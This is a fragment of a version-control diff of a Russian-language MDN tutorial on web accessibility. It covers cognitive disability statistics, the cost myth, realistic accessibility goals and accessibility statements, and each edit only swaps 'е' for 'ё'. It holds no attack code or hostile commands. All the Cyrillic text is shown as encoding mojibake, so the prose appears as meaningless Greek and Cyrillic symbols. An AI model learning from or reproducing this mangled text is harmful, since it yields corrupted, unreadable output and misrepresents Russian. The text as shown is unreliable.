+ <li>ошибки ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Ρ‡Ρ‘Ρ‚ΠΊΠΎ Π²Ρ‹Π΄Π΅Π»Π΅Π½Ρ‹, с подсказкой ΠΈ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌΡ‹ΠΌ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ.</li>
</ul>
<p>Π­Ρ‚ΠΎ Π½Π΅ "ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ доступности" ΠΊΠ°ΠΊ Ρ‚Π°ΠΊΠΎΠ²Ρ‹Π΅ β€” это Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ° проСктирования. Они принСсут ΠΏΠΎΠ»ΡŒΠ·Ρƒ всСм, ΠΊΡ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ваши сайты, ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ стандартной Ρ‡Π°ΡΡ‚ΡŒΡŽ вашСй Ρ€Π°Π±ΠΎΡ‚Ρ‹.</p>
-<p>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния статистики, ΠΎΠΏΡΡ‚ΡŒ ΠΆΠ΅ Ρ†ΠΈΡ„Ρ€Ρ‹ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹. ΠžΡ‚Ρ‡Π΅Ρ‚ ΠšΠΎΡ€Π½Π΅Π»Π»ΡŒΡΠΊΠΎΠ³ΠΎ унивСрситСта <a class="external external-icon" href="http://www.disabilitystatistics.org/StatusReports/2014-PDF/2014-StatusReport_US.pdf">О состоянии инвалидности Π·Π° 2014 Π³ΠΎΠ΄</a> (PDF, 511 ΠšΠ‘)(en) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π² 2014 Π³ΠΎΠ΄Ρƒ 4,5% людСй Π² БША Π² возрастС 21-64 Π»Π΅Ρ‚ ΠΈΠΌΠ΅Π»ΠΈ Ρ‚Ρƒ ΠΈΠ»ΠΈ ΠΈΠ½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΈΠ²Π½ΠΎΠΉ инвалидности.</p>
+<p>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния статистики, ΠΎΠΏΡΡ‚ΡŒ ΠΆΠ΅ Ρ†ΠΈΡ„Ρ€Ρ‹ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹. ΠžΡ‚Ρ‡Ρ‘Ρ‚ ΠšΠΎΡ€Π½Π΅Π»Π»ΡŒΡΠΊΠΎΠ³ΠΎ унивСрситСта <a class="external external-icon" href="http://www.disabilitystatistics.org/StatusReports/2014-PDF/2014-StatusReport_US.pdf">О состоянии инвалидности Π·Π° 2014 Π³ΠΎΠ΄</a> (PDF, 511 ΠšΠ‘)(en) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π² 2014 Π³ΠΎΠ΄Ρƒ 4,5% людСй Π² БША Π² возрастС 21-64 Π»Π΅Ρ‚ ΠΈΠΌΠ΅Π»ΠΈ Ρ‚Ρƒ ΠΈΠ»ΠΈ ΠΈΠ½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΈΠ²Π½ΠΎΠΉ инвалидности.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: <a href="http://webaim.org/articles/cognitive/">Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° ΠΎ ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ… расстройствах</a> Π½Π° WebAIM обСспСчиваСт полСзноС распространСниС этих ΠΈΠ΄Π΅ΠΉ, ΠΈ это, бСзусловно, стоит ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ.</p>
@@ -126,7 +126,7 @@ original_slug: Learn/Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ/What_is_accessibility
<h2 id="РСализация_доступности_Π²_ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅">РСализация доступности Π² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅</h2>
-<p>РаспространСнный ΠΌΠΈΡ„ ΠΎ доступности Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ являСтся дорогостоящим "Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ" для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°. Π­Ρ‚ΠΎΡ‚ ΠΌΠΈΡ„ Π½Π° самом Π΄Π΅Π»Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π°Π²Π΄ΠΎΠΉ, Ссли:</p>
+<p>Распространённый ΠΌΠΈΡ„ ΠΎ доступности Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ являСтся дорогостоящим "Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ" для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°. Π­Ρ‚ΠΎΡ‚ ΠΌΠΈΡ„ Π½Π° самом Π΄Π΅Π»Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π°Π²Π΄ΠΎΠΉ, Ссли:</p>
<ul>
<li>Π’Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒΒ "ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ" Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒΒ Π½Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΒ ΡΠ°ΠΉΡ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π² этом ΠΏΠ»Π°Π½Π΅.</li>
@@ -143,13 +143,13 @@ original_slug: Learn/Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ/What_is_accessibility
<li>Мои интСрфСйсныС ΠΊΠ½ΠΎΠΏΠΊΠΈ доступны с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ ΠΈ сСнсорного интСрфСйса?</li>
</ul>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π·Π°ΠΌΠ΅Ρ‚ΠΊΡƒ ΠΎ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… проблСмных мСстах Π² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π½ΡƒΠΆΠ΄Π°Ρ‚ΡŒΡΡ Π² Π΄ΠΎΡ€Π°Π±ΠΎΡ‚ΠΊΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΡ… доступными, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Ρ‚Ρ‰Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ протСстированы, ΠΈ ΠΏΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡΡ…/Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π°Ρ…. ВСкстовый ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ (ΠΊΠ°ΠΊ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅) довольно прост, Π½ΠΎ ΠΊΠ°ΠΊ насчСт вашСго ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΈ красивой 3D-Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ? Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° свой Π±ΡŽΠ΄ΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° ΠΈ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎ Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΈΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Ρƒ вас Π΅ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ доступным? Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΠ»Π°Ρ‚ΠΈΡ‚ΡŒ Π·Π° Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΡƒ всСго вашСго ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ дорогостоящим, Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ сдСлано.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π·Π°ΠΌΠ΅Ρ‚ΠΊΡƒ ΠΎ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… проблСмных мСстах Π² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π½ΡƒΠΆΠ΄Π°Ρ‚ΡŒΡΡ Π² Π΄ΠΎΡ€Π°Π±ΠΎΡ‚ΠΊΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΡ… доступными, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Ρ‚Ρ‰Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ протСстированы, ΠΈ ΠΏΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡΡ…/Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π°Ρ…. ВСкстовый ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ (ΠΊΠ°ΠΊ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅) довольно прост, Π½ΠΎ ΠΊΠ°ΠΊ насчёт вашСго ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΈ красивой 3D-Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ? Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° свой Π±ΡŽΠ΄ΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° ΠΈ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎ Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΈΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Ρƒ вас Π΅ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ доступным? Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΠ»Π°Ρ‚ΠΈΡ‚ΡŒ Π·Π° Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΡƒ всСго вашСго ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ дорогостоящим, Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ сдСлано.</p>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π±ΡƒΠ΄ΡŒΡ‚Π΅ рСалистами. "100% Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ" являСтся нСдостиТимым ΠΈΠ΄Π΅Π°Π»ΠΎΠΌ β€” Π²Ρ‹ всСгда ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ с ΠΊΠ°ΠΊΠΈΠΌ-Ρ‚ΠΎ случаСм, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ²ΠΎΠ΄Ρ‘Ρ‚Β ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹ΠΌ Π² использовании, Π½ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ, сколько смоТСтС. Если Π²Ρ‹ ΠΏΠ»Π°Π½ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½ΡƒΡŽ ΠΊΡ€ΡƒΠ³ΠΎΠ²ΡƒΡŽ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡƒ, ΡΠΎΠ·Π΄Π°Π½Π½ΡƒΡŽ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ WebGL, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… Π² качСствС доступного Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ прСдставлСния Π΄Π°Π½Π½Ρ‹Ρ…. Или, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΈ ΠΈΠ·Π±Π°Π²ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ 3D ΠΊΡ€ΡƒΠ³ΠΎΠ²ΠΎΠΉ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡ‹-Ρ‚Π°Π±Π»ΠΈΡ†Π° доступна для всСх, быстрСС ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, мСньшС рСсурсов процСссора, ΠΈ ΠΏΡ€ΠΎΡ‰Π΅ Π² обслуТивании.</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π±ΡƒΠ΄ΡŒΡ‚Π΅ рСалистами. "100% Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ" являСтся нСдостиТимым ΠΈΠ΄Π΅Π°Π»ΠΎΠΌ β€” Π²Ρ‹ всСгда ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ с ΠΊΠ°ΠΊΠΈΠΌ-Ρ‚ΠΎ случаСм, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ²ΠΎΠ΄Ρ‘Ρ‚Β ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹ΠΌ Π² использовании, Π½ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ, сколько смоТСтС. Если Π²Ρ‹ ΠΏΠ»Π°Π½ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½ΡƒΡŽ ΠΊΡ€ΡƒΠ³ΠΎΠ²ΡƒΡŽ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡƒ, ΡΠΎΠ·Π΄Π°Π½Π½ΡƒΡŽ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ WebGL, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… Π² качСствС доступного Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ прСдставлСния Π΄Π°Π½Π½Ρ‹Ρ…. Или, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΈ ΠΈΠ·Π±Π°Π²ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ 3D ΠΊΡ€ΡƒΠ³ΠΎΠ²ΠΎΠΉ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡ‹-Ρ‚Π°Π±Π»ΠΈΡ†Π° доступна для всСх, быстрСС ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, мСньшС рСсурсов процСссора, ΠΈ ΠΏΡ€ΠΎΡ‰Π΅ Π² обслуТивании.</p>
-<p>Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Ссли Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π½Π° Π²Π΅Π±-сайтС Π³Π°Π»Π΅Ρ€Π΅ΠΈ с интСрСсным Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½Ρ‹ΠΌ искусством, Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π½Π΅Ρ€Π°Π·ΡƒΠΌΠ½ΠΎ ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠ΅ искусства Π±ΡƒΠ΄Π΅Ρ‚ идСально доступно для людСй с Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡΠΌΠΈ зрСния, учитывая, Ρ‡Ρ‚ΠΎ это ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Π°Ρ срСда.</p>
+<p>Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Ссли Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π½Π° Π²Π΅Π±-сайтС Π³Π°Π»Π΅Ρ€Π΅ΠΈ с интСрСсным Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½Ρ‹ΠΌ искусством, Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π½Π΅Ρ€Π°Π·ΡƒΠΌΠ½ΠΎ ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠ΅ искусства Π±ΡƒΠ΄Π΅Ρ‚ идСально доступно для людСй с Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡΠΌΠΈ зрСния, учитывая, Ρ‡Ρ‚ΠΎ это ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Π°Ρ срСда.</p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π·Π°Π±ΠΎΡ‚ΠΈΡ‚Π΅ΡΡŒ ΠΎ доступности ΠΈ Π΄ΡƒΠΌΠ°Π»ΠΈ ΠΎ Π½Π΅ΠΉ, ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠΉΡ‚Π΅ Π½Π° своСм сайтС заявлСниС ΠΎ доступности, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ излагаСтся, ΠΊΠ°ΠΊΠΎΠ²Π° ваша ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ° Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ доступности, ΠΈ ΠΊΠ°ΠΊΠΈΠ΅ шаги Π²Ρ‹ прСдприняли для обСспСчСния доступности сайта. Если ΠΊΡ‚ΠΎ-Ρ‚ΠΎ ТалуСтся, Ρ‡Ρ‚ΠΎ Ρƒ вашСго сайта Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒΡŽ, Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ с Π½ΠΈΠΌ Π΄ΠΈΠ°Π»ΠΎΠ³, проявитС сочувствиС ΠΈ ΠΏΡ€ΠΈΠΌΠΈΡ‚Π΅ Ρ€Π°Π·ΡƒΠΌΠ½Ρ‹Π΅ ΠΌΠ΅Ρ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΡƒΡΡ‚Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π·Π°Π±ΠΎΡ‚ΠΈΡ‚Π΅ΡΡŒ ΠΎ доступности ΠΈ Π΄ΡƒΠΌΠ°Π»ΠΈ ΠΎ Π½Π΅ΠΉ, ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠΉΡ‚Π΅ Π½Π° своём сайтС заявлСниС ΠΎ доступности, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ излагаСтся, ΠΊΠ°ΠΊΠΎΠ²Π° ваша ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ° Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ доступности, ΠΈ ΠΊΠ°ΠΊΠΈΠ΅ шаги Π²Ρ‹ прСдприняли для обСспСчСния доступности сайта. Если ΠΊΡ‚ΠΎ-Ρ‚ΠΎ ТалуСтся, Ρ‡Ρ‚ΠΎ Ρƒ вашСго сайта Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒΡŽ, Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ с Π½ΠΈΠΌ Π΄ΠΈΠ°Π»ΠΎΠ³, проявитС сочувствиС ΠΈ ΠΏΡ€ΠΈΠΌΠΈΡ‚Π΅ Ρ€Π°Π·ΡƒΠΌΠ½Ρ‹Π΅ ΠΌΠ΅Ρ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΡƒΡΡ‚Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ.</p>
<div class="note">
<p><strong>Note</strong>: Π’ нашСй ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="https://developer.mozilla.org/ru/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives">«Об ΠΎΠ±Ρ‰ΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ… доступности»</a>Β Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ особСнности доступности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ.</p>
@@ -160,7 +160,7 @@ original_slug: Learn/Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ/What_is_accessibility
<ul>
